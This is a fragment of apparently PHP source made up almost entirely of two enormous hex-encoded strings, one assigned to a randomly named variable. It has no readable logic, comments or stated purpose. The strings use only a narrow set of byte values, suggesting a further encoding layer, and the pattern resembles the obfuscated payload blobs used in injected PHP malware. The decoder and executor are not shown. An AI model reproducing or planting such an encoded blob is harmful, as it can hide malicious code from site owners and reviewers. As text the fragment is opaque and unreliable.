744474344454144434541434848454542484244464342454645454442434343424746444845414845444a444343494847454644434448454345424845434a4545444747424448464747494748484645484746444a444a454a474548424844434a48464744444547424546434243474744474745454445474344474347454243494443474445424647454144444545484a48444845484347424642484147424343484147484445454847434445484644464742454348454849454244464446434643424844444648434543474348424842454544454746454a434543434843444343474444484947494741484443424845454348424343444846464549454248424846434445464646454345474545474143464445474346424446434345444446454143474347444a47434647444948424445474543474747444a4745454144444447474448454347434443434544434943474449444943424844464744444346484548474741484548414347474144484647454244464343474744434345454148434342444546424344454343424841484243424848444347464343444644474343454343434742444447444346484245454744454948434741484947464844484745434845484a474547414849464747464843474646474449454a48434846484543464444444243454846444545494343434648484344434844494345454844424445434744474843444a47454744454644484448454844484843484443424349434647414841454643434449484447444547454945484347434245434846454647444744444344464542474743474444444a4544454245444646484544464747464743464748474845424842454a434a44474447464244434547444347494844444443484842484248444449454347414549434244464743454a4849484a48494549474444474745484948414543474544464846444645434343454347434543474948464443434347454646454747474348454a4845444a4647484a464644474646484344484745474247484847454343494342454544454845444647424549484343444745444944434749434643464647474846474843484a4846434943424543484848484849464248484844454248464549434a4746474748464541454448464347474448454548444447434849444946424443474944454642484a43484542474248414542454444434543454444454345484244444842434947474549454845434543484944454349454648484747474844464744434a474643434342464644494748484447474447444a43474742454a48494748484646464443434247484348474647444741474445454344434645424847434244434741434248454546444445454449484a44474443484545494444484a4348434844434846484648454847444a454646464849444845474841474846424745444744434447484846424348474745474444444647494545484945434843444648474447444646424541434444454842434443474448454743494546444a4841444443424845484643444442434a444a484145474345444a474448454548444744474548454a4444434247444845444845474841444344454844454a48414543484545484445474845464843434647464543444443484444454345424842434748494642454248464544484a434244444745444943434541484247444349444245434743444548454345434345464543444643494545444943424542454a4342474845434744464645454844454a444343464442484647464843434a464743434346444344474548444448444343444343424846474945424741484643494445454745434844444a484445434446484645464443434a44494646474945474348444a454647414343434a454448464746454a4443484547454846454245454749444a44474847454645484848484543494844454445494744484243424843484647414342454345454849444347494744454443494541444743434842474647434747484843464446454748444446444848464848434743424442474845464744454945444542434348484845444344444444454347444842484344464447484243444647434245494542434747474549474948434844444a47434845484144454444434243454844484743434749474944434348434a46474848484743434745434243474748474744464849454347414448474447464741434648424844434544424346484743484547434248424449484848494447454a48444541474844484647484844434443484848454744444345464741434345484843434a4343484245484449484343434844454a4446484a4447444548434345474845494546454844454742484344464843444545414446484747434542484447434849444347494443474347444744444647454547454a44424445444a4346434448464846434244464542484a48484349484544474841434244484849464248464744434244454343444748424642484244454541464246464845484548444647484547454747454544494443454345454445444843424348474644494848434448444843434544444447484843424445484348424542454a484543454747474547414849454445414446454744454847434344464846454545434448464248464845464744494841444844464549444443494349454248424742444a4542444944434548444444444448484448424342484847494443444444454548444644444744464243434845434943434349484648434543454a454347414444434948474447444248444544444a45454444444a4549434543464748444348424344444643444548484343444445484545474742454448444542444343484842434a484348424343444447464749484548494443484748494544444a454348494747474148474542444344424745484845424844444345434845444945424647454a4749454448444849484a4443484946474346484943494544474948454848444a4344434848494847484345474445484845424845444348454549484344494741484a474245444849454a4544474745424348434944484744484a45414642444545424448454a45494346484447484547474748424541434848484647434a4443454a48424445454743454445434248464844434a47414844454148464544474844464446434a444444464746484748474844454a43454347444744464545454243474745434345454348484547424449454344484342474645444345464247474741464643424841444748424348454247424342474748434646484748484348434a4443434a464245484542464645424846444647444842484a4845454447444647484648444347444744444748484448444748434348424842464644494846464644434747444347434346444544444842484546474348484148464346434844464742454a444744464848474747484544454248424843474843474348454947484347484444464749434444484445434544464542434a45494445454343424345454448414446434544434842444747494849474645424841484a4844484343454344484147454549484a444947454646474943474844434548434342434345424448484643434749434544454542454447414843434247414845434244454543484a454144464745454248444443434a4549484246464844484545434445454a4746434743464344484a43454445484647414345484a44464343444a454548494549454545424744464646464546434245444445444847484545474747444541484548414845444545494342444548444342434343464542454848474346434243434549444744484647484148464546454248434642444245464844454a48444447454a4444434245464845434447474342434943474447454448454549484447434744444a454a4546434744454443444648464446444746474346444447434347464743434444444643444447474744474843444a4742484a43424444434a45464841484a43434442444a45424843434344454348434247454843484344474843474744484344444a45444443484645454343444843494541454a474745454348484a48464445454a4646484145424349454843484343484144474542434945494845484544464842454746474349484447464845444945484345434848464444434845464745484245474642484747414444444a484a434348484848454a4842484845494342454143474844484643494749484845434345474846424843444243474647444a464248424343434245424444454248454843444a484444444846444944464445484547474342454544494342484146424849444247484545444847434443454346464343454346424642484a4542454447484447474748434741484445474342444a4845434745494844454343484449444247454343454945454443474547474443454a44444842454244444846474143424343444445494842434748474749444644454444454945494348434a4549484a4749434844464847484343454746454545424747484847424546444345464544484443474446454143474844434447494642434448414446464647434849454447484542454944474542484143454844434445424443444544444843434247494543454147464743474148434844434748434445484548484849484345424443464748444445484543434647484a464245474444444a4849434743434342484545474543434443444846444a4742434747424642484943444349444644464544454a43454541484648474747434543464844444a4843444744464842444447464748454a48434845484a4749484644484445454545434447434246474549434344464345474847484749454544444447484343424349484345424445454948444447434a48454447484843424342484348444448444645484346484343434445434848414346484245474546454245484541484843474349484248484842464747414548454a484648454844434247424543454248454347434248464347454148454547454643494446444a4842444748414549444a434744464748434446464842444347424541454247454342454a4344444443424546474748464846444a434a4747434943434842444448454848454243424548444747464444474744424749484445414842454a454745464345464243494843434a444948434446454544444642444648444842484548434344474944454742484445484349484648414844484443424547484a46424342444348424349434a43434345464248424449444345464541474747484345454848444343434246464444434645424747444247484842484548464449454a43444542454a484a444548444745444544454348434248424346474348474541474747424741484245424647454243444747474943464549444843434647444945444843434245464744444448444344444347474443484a474246424447444647484646474543484647454144424444454a4646444748444743474945484543454144484545484545454842454243464741484445454541464743474848444344484849484144424542434843474342444a4447434246464847444746424348474743444844484845434544444348474844444a484945424446434a4447484448484841454945434542434945434748454345494846454a4349434a4448484744474442484245424744484a4642474745414347454846464347474144454747484347444446484647424847434a44474741434344454346484845484545444348454842464644454347444844434541434448464446454344464741484344444749444647424446444348454544444a47474548464243434543474543424542454a4848444745444543434443424647454a47424844434548424444474948444342434345424448474147494842474748434347444746424549474948414342444545434647434348414446484143494344454544454744454648434749474345494843484548444843454645494548464244464544444343424742444347484844474747444542454644484342484a434843484447484845444846444a45484443434545464342484345454744434344474842484147494546434a48454442484344474447454945434443474948444647474646464542484144454344474645484549444648424849444547494842474648494448484545414446474648424348434747484646484245494547444a4746474343434449444445454848484244484342444346464342474644424443434943494843434a484a4442484a4745484145494847484a47434347464643454445474346464545444a454348464343454545494843484a474145424442444548474647474948434549484a47434744484645494642444a47424547484348444844454947444349474845454549444748474447454847454842444548444345434344444842484544444442454a4446454248424543454646464442454447414344484245424443454348444647474344474446444448464845444a48474647474845494443484245414845434a454645414348484445434542444447464342454743434647454347434443454545434446484a484443424846454245434446434a4342484447474549484a444748444445434243424849484845464443444345464448454344484544464748444342474843424842454a454a45474445434446474546434544444844434a4844454344444447444a4348464643474844474647414846434544474844454145434542474348414743484248424541484448484548454443444642444a46474742474448474448474247484849484648464448434544454844474643484547484543454549454a4342434a4844454644484445444944434546434248434447454644464443434545464442454845474848434a474544444542444a4846484443424743444444484445444448464344434645424344464248454841484247454748464243484342484a434a4746434947434647454343454841434245434843434346474449474748424542434245424745434844434841484a45424546454945494842434a484545494845454348454749484a4845484443474547454a484648424849484643444443474544464846444548434343434448414546484547494349454748464443434a444544464841444344464743434445424842484444424844484147414642484343434745484744474549444a44454841444446464843454a4744454747414345444a43454541434544454344444348464449444a4448484344484846474145464548454a484347484749454848444846434647424845434244434848454144474548444a474946424445444544454844444545434745474143484445474646464542454447454449454343444845454445454448474544434844444348444345474647434343474648434845454546424549474947414841464648464844444448464549454a454244454545454547464348454343434843484244494342454744454841434848494842434347414642484945464544444a48424342444a484848414447444844494549444744454742444446464349444643454342484544464845474344474742444345444444484548494742474645464845484946474549484444424448444647434544434744444843434a44464746454344494848454a444847474846484644444849484445414543484543424743474845494844434a4446484648424545474348454342474345434849484344474841484a484144464342474444434748434a43454549434243424841444946424545484643434845484344434849464247424347434243474844484447464846444a4845484544434447444448454446454a4541434244434849444a44474448474447464542454a46474846484744464343444348474747434645484549484748414343444a48434741444348414543484648454848464643464849484346424547454248474349474143434842474443444542474545434742454846424748434347474444484a484243454642444544484445484a454646424443474748434344484548444547484444474543474147444842474548464345474547424743454a4443444945444443484343454746454747424449484443484842484a46474348444643434745444a4447464243474544474544424845484a48414845484447434343444248424848454643434346454644434749484148474849434344434342464648454342444444484846444a47454741454347434846474748444642444a4348484445434845434348464843454747434848444948424547484344464448474645484442454848494446474844454744474243424449444a43454442474544474847464248444546484544494742484345444342484244464548434447444843484248434446444344464443474647444544474447494842454a444844434443474548474544454244424347484348494445484845474542444847414345434a474247414342444a48414345454344454345454246464547444245444342484a44474343444a484346464746434848434447434248454349484a444847464546484645484448484848484745484a4844454a47484848454a47424844464245434345434748434842444345484843434646424447484647474443444748464448454947464843444a48464849484346464548434a45424445434a44464443434247434844444645424444444747424547444a45484745454343424344454147444448484643464547484743434844444447424747434347494348484543474443484444444642434343484349434347454449474448454541434247434349464245434342474448454545434247424843474948464445474847444542454a474247494845454143464349484945444347454a43424642444a434847484342444445464845484145474447474144464445444a43424542434a4343444847464444454248444544484945434647444744454741484948424548484848434647444644454548444644474344474645434844434a474643484743484248454846454548434844434744444646484343484845444743454542444545434343474344484442444347444543444348424443474147494542444843424348454543464646434545434843444643434444484348464743484844434748454743464542484244464443484343424846454344464446464645434845464748454448444748424445464248434843434943464843474444464542484247454448444844434844484846424744484645424546454344454842434a4842454644454842444548474547434543454445474843454542444647444847444743424748484447444746474647454545434244444741454a454545424449444a4742434a44434846474243424448454244474846484447484842434848424642454947444544484444474845464645444542434845464848454744484842434a45424844444643494844434a4447444a474344474543474145474549484443464748454544474444474245434846434a454548464448484948444848484347424542484647474445484448464741454748424443444448434547484544434346484145444342484948464745474248464847434245484443454345484846444a48444845484847444844484643444442434547414446484245434748434248464349474448434549484a4847454a484148434846484643434544454344424843454a43424347484a45454544454243484842484943424741444545474748434248434746434446474447434a4442484a4344444548434343434348414543434a46424343454545454542434248494444484644484844444448464547454847424343484944474346454a48444445444a4846474144474542434448454342444447494444444243454446434644484545474644484444484448424642444a4549434644454748484245434445434a444548414844484a4842454345434642434945434344444745474444444745414446454548454448474943474446474143454446484447444548444a45434445434544474545484a4847444444454746484a434a48434447434a474748464542444548424446474643434849484448454642434248444845444a4444444948454745434547474844464745434844434247414742484344464748454345474446464645424744444748474843444a43494741484a48464845474945484444484a43424843474548444844454348454743474644454846454743484342484a44444741454447464445454845474842484a434448464841434a4743484547414548484748414846444545424844454a464244444545454a4349484a4647444a4348444345484345474248424443444447444842444744444742484447424749484445424443434944494844434943474845434a4446454243424342484144484445474247434443444a4843464244434448444647484545484848484342474248444449444a484944454347444448414845454548454846434a454348444646474645464543484648424443484445444844454a44424845454745424445444548494647444545434845464244484547434347464446454145494542444a4847454248444343464644464749434a484444454444434a4749444845414746484343424846444647414442444444474541474344474342454948484344474945474841444448484845474844474746434845454845434248434549434345494747444a4447434443474845454244464741454247484447444448424546474746424442434243454747444747414747454444424642434643424846484747494444474848474446474943434545484343494348484a44424444434344464842484a454448444841474444444546444743454847434344444848434a4445484844444646454343454642464744444447484844444548474343424448454845454442434747494343474547494542444344444746474447444747454248464647484743484443444947434842444645474545474645444449444a484444464745484344494549454a474848424445434744464646484243424844444548414348444743424449454647464442444443474746464644444549454344434846434848444848484545484749484545434345484a474944444446464248424847434a4543434345484748434847474345454a464246464541434244474746454747424543444a454244454743434a474243494345444848424443444a4745444645474342464748434443434a4842484a474948454847454244434846434844464445454844444345474843474843484244424845484248444545434a47494548484a45474442454944464445444447454543444a4549454343454542444743494742484744454844474647474444464248494844444646474646444748434743474748424444484a454345464443454945434445454848434542454645434542454344464848454943464446434348484545484344464846434347414848444747414647484348494347434747464445444a474943444442434a4342484a4444444444434346474947424548474748414549454744464447484348454447454a47444342444545464544434a484a46424842454a4542434248464549434a47424442444245434445484845474745444544464744484844434548484a4843444645454843454646424449444643484444474848424542484743454849454a434743494846484643434343484645454448444644494344444a484445444442474548494343464747434345474445464843484748454349434245444546474645434541434246474343484a4349434a484147454843454344464548444548434744444643424447444a4443474844424542484a4446454444464748474347474842434245474545444748484545434a464645444849444747414349484645424544454748464746484a4444454a4848484644474642474247474647484643454346434348444845484a4844474248424748464743444447444a4844454245434449484348494844434244434445454443424544484948424841434a444643424349484644434444454744484447434346424447464744454541484a4445434243464747444447434342454448454743454244424342484145434742444944474348444545464841444745434846444345484343444a48434744444745444845484643484848474344494747484643484445444547434541454948454442484a4447484543434446454a48494544484248424448444a444745434642474148454848434a484945424744484445444848434247494746484644474345484a444643434347484443444442484344444446484947444547444a4442434a47414541474947424343464644434847444647474844454445424748454244484446484148434744444a43494543434844444541484848434748454a464243474742484443434446444748484744434444434545434a43474344454748494342474944424543434248444442434344444845454548424446484a4743454348494845434545474849434844464843484a4344434944464844434743454446484944474444484945434848484a4443434247494349454847494544434a474544454846444547414547434943444546484744454845444a4445474145494747444343454448484944464844444747454842454243494847444745484646484348484845484643424342444948424343464244494844434a4444454247494447474247484342484747484542484248424545434a484144484342444644444646484443454447434646424443444644424749454245434444434348434642454545494342484a4448484a484247444442474643474742434248454542454248434646444847444748444445494449454245434442434345494846444344424549434a47464741444743454546454445434445444a46474444444448454841454243484846444943484543444447464841484344474842454343434347444548414442454743434843454247474445434344434444434a474343424449484243434543474848464444484244424844454543454347434348444442484544454343464246474342454445434449454246464548434648454642444547484445454444444842474545424348474243424545444346424741474548424447444845414343484443424446484248424847454547494445434348464342444647464842484544434545484447474447484247434446454147424449454248454547454a484a4349484547414845434448484549444748424342434643454741444544434545444845454549454147484646454548454542454a444a4843444643424843444648484843484a4348454a4741434a434545444547444248454446474547494445484347474741484445484444444a4443484746474842454a45484447484543424343434744474545444548464744464243474747434244454846434347454744454548414442434347444447454a484647454847474843444549444945414443454343424744454445494841444345484647454a4841474743454542474448474448434545474448";
        $_arrx30fe923 = "43494547444644424343484443434844434a44454544474843424549454244474846484547464741474845434544454848484844454144474843484645444342484245464847454a47494443454643444544434548424447444a4543474644464747484a444345434543444444454543444745464642454748454443484243494744444a44444442484643494543454145484548484a484647464347434544454347454243484844484a454a444448424347464645424849484a4545444243424642444548454548474748484543444a474447414844484a4445454a4744434a4842454a43494549474944444344444647414842434248444842434247414442474143484749454a4848484847414846444648424844454545424543454347464346434447444547454944474746444444494848434243434449454346424443464644474542454148424642484748424442444543424547444747474647484445454547454845424343454743454448484a45424449484544444745474843494342484648464445444844474842434345484849434447484844444548444546454243494746454944444446444a44434346474843484642474544494647444446424741444a444245414545434a4541464744464443434348464841444844444741484445444745464748434443444548464443484645434549454144434548444a48464747454743454742444445444748444345424646454a48414349484a4344434948434843444845434842484a434246474443484248464845484a434445424549474446474349454347454844474344494342434447494844484548464841484444454445444744484444454344444547454944444446444348444347454948434342454a4842474248434444454447484842454244454345444746474545454447444447434648434848434345424445484843424447434548434842454345494445434a444743494545434a4347474244464546484448444545444243424845434343454549454a4642454a434548434545444a4541434848474842484543474443434947424745454948444541444444454542444547424846474244454546434343454346474748454443444a464744454748484848484843434747454444484244484845444743454449454644434447444a4646454645444447484444434445454a4447474243454747474844494446474948464448474245414541444743434545434948414342434a454847464842454445424746474648434545484244444343454747464443484544454848454247474447444a444345414745484148414741484643434849454843424549474144424744454343434741464743454843484748434549484344454347434844454543454248454843454a484745494447454148474746444244474749444245424542464747464847484344434842464248494542434848454846444a464748494842454244464749484648464646484247494345484248424647474848464546464643424843434248424545434445424742484145454445474445444444474143424747434744494747444546424342454a454543424642454647444843484244454342484444474848484345474449484448454844484346474843474448444547444648444846444448434549454943434847434343494543484a444343424748434244474542464243464848444346424548484643424548444843424542444947494845484343434542444848424343474248484542484348454748434844454346454144424347484646464343484643454842474348464446464745444546484848464446454a454848424542484843424642484a444744464841434344494348484743434342484643474541454544454541454443454446454a434a4347454145494842474647454848444a4543474348464549484443484747434444464446484145464746444a434245464346474547474447454247414343434544484345484246424845484a4546434548464542434a4848484643464844464647484443434247454741454948424543434347474542454347424843454743424842434448424647444943464741484347414445434a454546424445454a48434843434848434343484445454543484148464549454543484547434247444447454343454744454944434446484548474448484944474847484647414347454945424846474944484447434745434448454648474447484243444542444247414444434443434844444748454442444a4447434947444842434844454443444843434845484543474545484648424741444a47464846434347434642454347434642474443494545444543494543484a45484845484348494848454545494842444948474548444a444344474442484643464843434345434344444545474647444843454345454644444445444643444845454747474844484344464846444443494845454a47454843444645454646454548484444454a4742454544484549434343474344434247454744454548464442444643474847434343424549444446474849444a4542434247454444444348434343444644494343474148424741444743484544484144454745484848434542434744424443444544454844484645474446484544444348484544424842444945424542444945494449454943474344434747494846444248444749444943494545434743484348434a4349474244454545454344444748444544454343444a434545424447434347414345434a4348474648414646444447414646454648424342444944434642474147474444434a48494741454345444849434343424742444943494342484244464548444443424743484a48474842444344454542464745424347434543494347444247464345454a484a454a4845454a434944484846484448474348454147494542484648434646454443424844454a47424448474348464446434a484a45414446484145454543444645424845454144454843434344484842454847454342434443474541484547434549444648454348434948434742434243424749474244464744484545414746484448444342454a43474445484747434843454547434343484444434542434247444444434a4445434743494547454a4746444948444542444848444748444647484843454a484a47454343434a43434743454243494744454a47444845474844444349454648444647474343484746444644434447444a48444344454346464843434344434344454245484747484a4446474448454843474247494445444445434447444543424843434643474541454947424543444a4349484448424842434a474648484846444544424543484645424543474944434647434346464547474847414449484a4846484a454143464844434748474543484448444543434948414345474543454449484447464444434646464844484547444447444348444443444447494343454a44494848484747434343444243474445484448454842444846424445444a4745484348414749444643454546474445444841444944434546464748454843444345424347454a4749454246424343434448424844464245414343484347484549444245424843444445414742474248434342434544454845444745424443454543454743444844434647484548454444434645454349444643494443484748424442434a43474842454a4848474547414542444a4844454a48484546484444454442474646424444474748454445444645494747484744434348454844484744444748424344484345464743444745424444434943424847484647424845484a44454646474645434342474643494345484248464843484647474549484547454743484346424543454743484845444a48434445464643494745474244444542484248454744464647434545484144484548454348444544484a4443464244464348444a4844454748424843474348444846434448414845444848464344434a47494845474148464445434a4346444748434444484444494846484647424545444346474542484447464748444543464647474746464443454a4844474943424842444444454442444748444342444543434845454648434745484344484346484744474548484a434643474446474548444548464743434848474845414449484245444444434747424846434745444847474743424347444947454646444745474746434247454843474345434843444545474449434346474449434a454348494544484548484343454948434743444348434545464248464843484645474543474245464446434a474347474548484443464843434243424542444648424741444843464842484947434749474745434744484a4347444743454447454144444447444a444a45444647444744444344484443454747454643424349484344464845464644484447444743434543484745454446434a4543484944474846474643434548434846464848454547454844484448454344444943424646444843434446444645424542454144474345474244434446454746464445454143464642434846464846434348454845454343464542484345434543454a454a48434748434548454544454548474445444648424343434947424842454844434747484945424544484a48444342444648424443444648424447474148474646484248494842444743484544434445434444444747434542444548434848434747444445454a45434542484443474749484545424845454948474543454145474845454645424847444a4444484a4546484947474349444644464343464644484444444a4844444444474845444648464545444543494445464644434748484844434342484448424847434a43434344434843454344444447494846484a454448414849434844464447484643494447484a45474342484a444544484447434a4841434543424842464246464348434243464743444948434647484145454541484a48454445484248434442474345474547484a4746484646474345454445434847484544454844444a484243444844474643474447484243484442444a48414447444744464746434844484443444543434745434243434445454245434642434a48464444464643424842434548414447454143474748434a484a444844434642434a48464347444a43494443444348424843484945414747484945434845474347464445454645444547434848464443454543444445434a44454747444747414446444648464642484a444a444847414846434743454742464744444342444644474448484847434343444344484547484548434742444344484547454748434348484148484342434a48484745444445414544484345494445454a45494844484845414842474445434343434245494448454a464248454846444843444445484143424748484448424546444a4745484743424844444847454749474748454448454247464443484348424846474847484446474643424842444844434349474447474842444443434542474348464843434643454541484245484447434a454248414542464245474841484543424549444344444343434345464544444344474344444544444745474148474542484544434445434348484347434743434747444a434746464449444a4445444847454742444343444748434245424547444644444742474144474542434244464842444448424345454a4345434a454644484542484644434346454a44434444444847444342474448444445454a44454743444745434548454548454747484944444844434a454344444545434346464444454a484443474749444547464646454243424342444648464844454a474348454444444543454544454248464846434a4746444746424744474843494446444743484342434944474446474847494549474544424342444347444542484543464446484a464644464549434246474842484448444647474844444747464743454743434744464642444845454842464747494348484746464746444544434542444245484541444a43484742444644434844484545464743484448454448434a48464647454245484847484943494843474548424447454548484443434343484348484144434549474544424447454247474742484644454449454247444542444a4348454148424746444445474543454246474844434a484647484848434246464345434448444846444645424647434348424845464644474447444648424845484347474542454245434646444a4346484144474446444448464846454244494848444a44444546484445464348454645424543454a4343454a4843454943474446484748434847444745424748464747444743434448484447484544424842484648464344434a4743434346424849444343464348444447494842484943474746454543424445484243474542434a4342454a454a44474842474448454743484248454747474347414549444745414742454844454841454744474843454a43494843464248444741454444454842474444454442434546474842444a4342454544474447444a48424443454a44484549454a4449444646424842474547484844444343444749444a48494747444945474346454a43424744444544444847484647434346484646474544484344464842444548464844484a4745444348434347474543484443484a43424547484344434347454947414345484348444744474646464843454a48464843454243464844444944474549484244464541484647464841444a44454842434544444546484545434844444343424846474247494345454a43424447434a44424348474948444444484a45464445434a4647444748464343474848474742444848494846444348444745484147444345444443494748474348424443484a4745484746474548484a4545434a484443444548454744474849454348444343444645484543474848424443444643434444484244494543434a4841444a4746484648454741444948474646434945434549434645474744444a44454343434645494444454a44444842484143424842444748444343454243454445444747474848434248484842454744444541434a434844474741474644434443454446424844474247454647474846474741454644464444484245454843484843424746474247424342484548494842474944434846484645464842434a454643494544454844424742484148434843434743424843444747424845454245414349444748414845484744454544484647484746454943464749484648424642464244444843474544444346484a45434446434245484349454a46474841444547414842454145484546434a47474446474744434841474448424845444347434347454448434348484645434742434447474342454848484342444347414543444543444343434344484844484a45444846454344434446454948444446444444444544474944424343434a4846474848484347454848434342444a43484646434246464544454a444a454a444845444447454948454842454243454445484348484445444343434447444743424445444748444847454743494448484945494446444548424542434644484847454347494446484a45434344454743424541484244454745454843494749434a4741434847454446484645424342474443454848484848494646454544494443484948444445444444444842444648454546454444474842474748424346454348464345444448454445474244494448444244454548434344424442484145474842444a434644434749454948494446444a484643424343484247444548434344454449444a4543454244454841434347454749434a48494343454843474547444748424742484a434848414543434a4844474544434746484348454448484143474345454346424646454245464344444844454546474543474642484245494848454644424544444948494541454345454742444448434444474845484542434545484444444447434847454248414743454248444841444245414844484845494345434344464848454244454349444245424544454743434844434643484445434a4542474848464748444343474847434948434746484247414841484244424447434243424448484647414444434448464548454444434543444248484342434944494343484a45494342454748454545454348464342444a4847444843444343434248484842484344474848484843494646434348434541454a47444343464648474844444a4744484a46474448474348464843454147414444484a4449474743434841454446474841434a454445434444454a474645424846434947414542484444434843434a454243484642484847464344474744474741454244474741484644434846474647484741474944464845434948464447434743444846444543424743474544464742444845474444444448434741434348484841484244444349434244434549474148424349454248454542454a474748454542474347414444434646464844454348414547474145444443444948494743444a44474845444345414841484a48474349444944464548454847444448434a484743424547444243434347444547474544434444474344444443474547454644434847454445464844454a4546434745484543434a444843474844454343454646444548434743454a4549484448434742464248484844484a444445424846484a48494348474345424447454a4642444944484343444445494748454646464549444a44454343484148484849484344464443444344434442474245484443444743444448454144484346444a4448434248444841454a4743484844444844474747464842444747414448444648454841444a48444342454547454443484248424647484647494843454243444846434a4446484a43454447474444434342464744464745434245414543484347464745444448494847444448454445474544444446484243424849434848434349454344444542474245424847454a47444342484a474947474445474144434843454245424546454a474845474448474246424745454245464846434348474342484544444542474348434841454947444444484644474542444448464348484248434846454244454545484548454542444545464447464748434848444943484842484648434547464645474748484145434442484548444744454a4642444446424348434948434642484344474749434a434247414749474145414343444548454548444843444545454a444648424844444745434744454a47424846434645434343434746474842484244474646444248424447444947454442454848434443474244464847434645464844464644434444454448484343474448454445434345424847484247434743434745434548444348484543434a4842434248454742434344474743454345424343444243444343484344474445454544464845484543424748444444454848434747444448484448484444484145434348444243484842444a444545464344484244484844434a4342474148424846434a454a454348414443444748424744434345494541454148424342444547454741444648484842444648434447454a444748484846474845434442444448464348444647474546484a43424842484548424445484545454442434a434648444549454246464745434a464248424348444a48444844444444464842454244434542454248464847434748444349434845414846484348464444464643434741484347464647484a4647444844474348454148424446444445424747474843434549474548434542444648464442484743474548444548414447444548444444454448454446444947424842484246474749484545424342454945434442444a43464446454348424442484445494743484445484547434748494342484148454342434648474347444347494741454948444546484347494844474644484444454848444444444845494543454245424543454844444546484545464542474343444745454344444546454845424548454445494843444744484746454948464846454347454548484843454747434244454546474648494646454344434342484948474542484543444642444443484448444845484647434543494544444347484442434a4444474444494846474945464843444348454747444448424445444a4442444a454545474347464247474845484a4543444644464543444543424741484a45464443454547434447474948424646474445424847434a47474447484446424647454247484741434348454542454a4443444444454841484643434845434248474347444a45424343454445494443484244464746444443434443484443454745484243434642474547454749464647424542434247484848474244454543434445494445484848434343454943434543454a43474343484a4349484544474844454843434842484448424343474248424446474647454741454743434347444a4346444a45494646474345434543434248474742454a48474348454548454443434348444548484148494646434743424743444a474645424445454244444741474647454746484947494442474548434848434a45424446444a4549444444434745444643494346434a47434342454545444348454a44434447434548454443444844484445484747494342444447424444434944434743444648464843484548424748484248454742484545484642484444444547484646424346484343454545434248444443434845454748444a474244454747454244474846484445414543434247444543434245424443444343474746474747474349454244454345454343474446444645424447454243424446484148434446444748434447484748464749454848434642484344454448434945474349454844424749484346464343444847414547484644434749444a474144434346444446474543444648424843434245414746434a484546474642444a44434448444248434846444745454542454648464846474248444847434943424447434347454344444548414546434543424443474943424343454247484344434544444446444846464447454347494446484145484844444a45424747484a47414342474545494343444543494744454a454143444541484243424447434645464445454247484843484244434747464743434847454945434846454647464444454a4444474144434447444848464849484a45484846484843424444464648454446434346464748434443484349474344454543484747414446444345434743484443444343444343424543484648474447464247484748434743424841474447484446474148464443474243454847474948424845454144474442484743424742444745424446474343454844434a484448424446484344474747444844464445444743494746484348464844454147464443474347414344474448444443444644464347444644484846484245464442444845474544454146424741434648434344454a4647434547484847454548464541464248464749444648434443434a4846474348434346454243434845444a4846474947464443454346424449484645424742454345434842474347494345474143454443444a484448434342484544464549434348464343454448474344484644444744434a43434442454544484541484248464543434248474345454a454245444843454448464343454243444344454148464347444644434345434344454847434748484844484543434343454947434849474347474744484845434545444745424844484744424342444748444843434744474444454948444743484248444849454343434344484a454a48484444444543434344454148434444484347424847484844464349474645414542484a484a4342484a45444849454245444346464748484647444448494745434647454542454a4548454743484449454a4745444943444846444747444448484547444445444648484548484946424842444a4844484a43434449474543424841484548464343484144454845454744444545474348494543444448424447434a4846474943434342444445484343434643454442444a45414445454548454546444a484548454344454248494848434248464347444245444748484a474848464846434945484841484143444347484445454846474447424849434a45484746484648454842474148434542454143424647474243434542434244454445434348474447444743424342484845424549434347414447484548454541454a4843454743424546484746464749454244464445434a46424842484644494744434244484447434343434449444747474342444845464543484643494743434548444744484545444848484545444448444645414842454545434844434a434844454748484744434541444a4444434844454542454a48414843444a48434444454644464843484444424844474344434442434a4848484544424842484a434744444747484148454349474245464743474243484749474947454543434a4549454244434646474344464542444543484349484a48444747444345494442454847444447434844444846434a434747464749444a454a45434843484645444548444647454547484844464541444447484342454444444541474545494642444748464744444647494342434948494544434247454547434248414445484745464349484243464741434245424345434548464841484a4845444248434446444a4745484446424742484747474843434348424348454343444343454245494448474648424544444948424442484444454449444544494442444a4545474245484841434845444844484548434348474146464347434a454248444849454645464745484a4546464746464746444745494744464744464842444444464646454645424846434845464445444347444348454a464248454546454845434844484a454348464349484448464447444744444843484543474847444447474541474143464444444447464846454945424647484748414646454a48424845444a4349434745434742484a47464445484a43424348444243464447454344454543444548464745454344444745434a4846454643434543454845474543474748494446434345434845484643434548484a44424846444a4741444848424845454244494844454147484845444545434443454245434349444548494342484448444444474845484546444246464843454948494345444744454741484248484846434945424746484345494545484447464348434243424543444247444448484748454542484a444a4445434548464746484447414543484145434841474547414844484644434743444a46474342484448484446484847444447454945464349484248424841484243434741474544484546444a4346484247464343434946424444444548414348474245434543484443484542484244494647484243434343484144454845484347474748454a484645464843474848474346484344444546454a4348484647444447434845454444484147444546454348424844444743434545454245434646454948444446484a434a47424848454248434841434544484347474547484743454a444546464448474344494848454843474544464747414448444a4744484443424743454948444843464245444449444844444842454a444843464343484743424544484446464348454245434847444644434547454a45484843484143464646434a47424547484145424445484547414842454547474346484247484842454944444543484348414542434748434343484a43424847444643424741434744434343434348474842464243434843484244454545484748464843444447424542484544434542484248424547454243494746484347474746484a43464548434748434342454a4846484144464344484845444849434646424846444744434748474447444448444245424345454647464848434848454543474443424843434a4748484244434646444347454849484846464444444343474747484547454844484245434743434445484846444544484542444543444844484648434845484745454547444543474647474948454849444648494846484748454747484645484748484648434546474944474843484848434446484448434442484647474449434948414846454847454543484648454343444344454345444a44464842444845484448454345434846444a4349474248464443474743464749454543434541484344454541444647494548434847464849444443434749444448434741484645434343454343474545434343454841484743464544444245454447484648494542444943424543454247474647434445444744444a484548424343444944454844484248424543434543484746474648444844454348414342464744444746474248434541484448424642444444494448454548454744484544434546464647494847444a4444474844474747484a444448454344474947414847454644484347434243454445484945434743454a4541484443464848444644444749434746424741434844424748434544434746454a484347484447454345424447434345454543444248444842474644444448444643434542484a4841454343494442454648464347484a45424444444544424844434647414542454345454548444644474344434545414746444344434543454345474445474343464342434a484548444543484245424545454644474744434a4448454248484548454144444447454a434a45454344474545454547454245444846444a454a484647434841474143424845444a44494543454545484849464244454449444348444343444448444549484944454442484643484347444648424845484947494446484545434445484844474745444748444443434248484845484a43444347474647424743454948424841444244484542444644434745444643474545444447454642484847414348484543424647444345424449454a484445444443444543474845454a454943434844484243424742454843424748474447464548464644434743454647424841444344464447484343444544484547444444484343474445434243424548454246424743474544454547474644474447484546464548474944484445434347434849474445454744484147424443454a434243434846444748444342444448464343434845464743444748454447444347424442434a434a444a484848454744484345424848474243484743484648464346464248464446434343434542484748454545484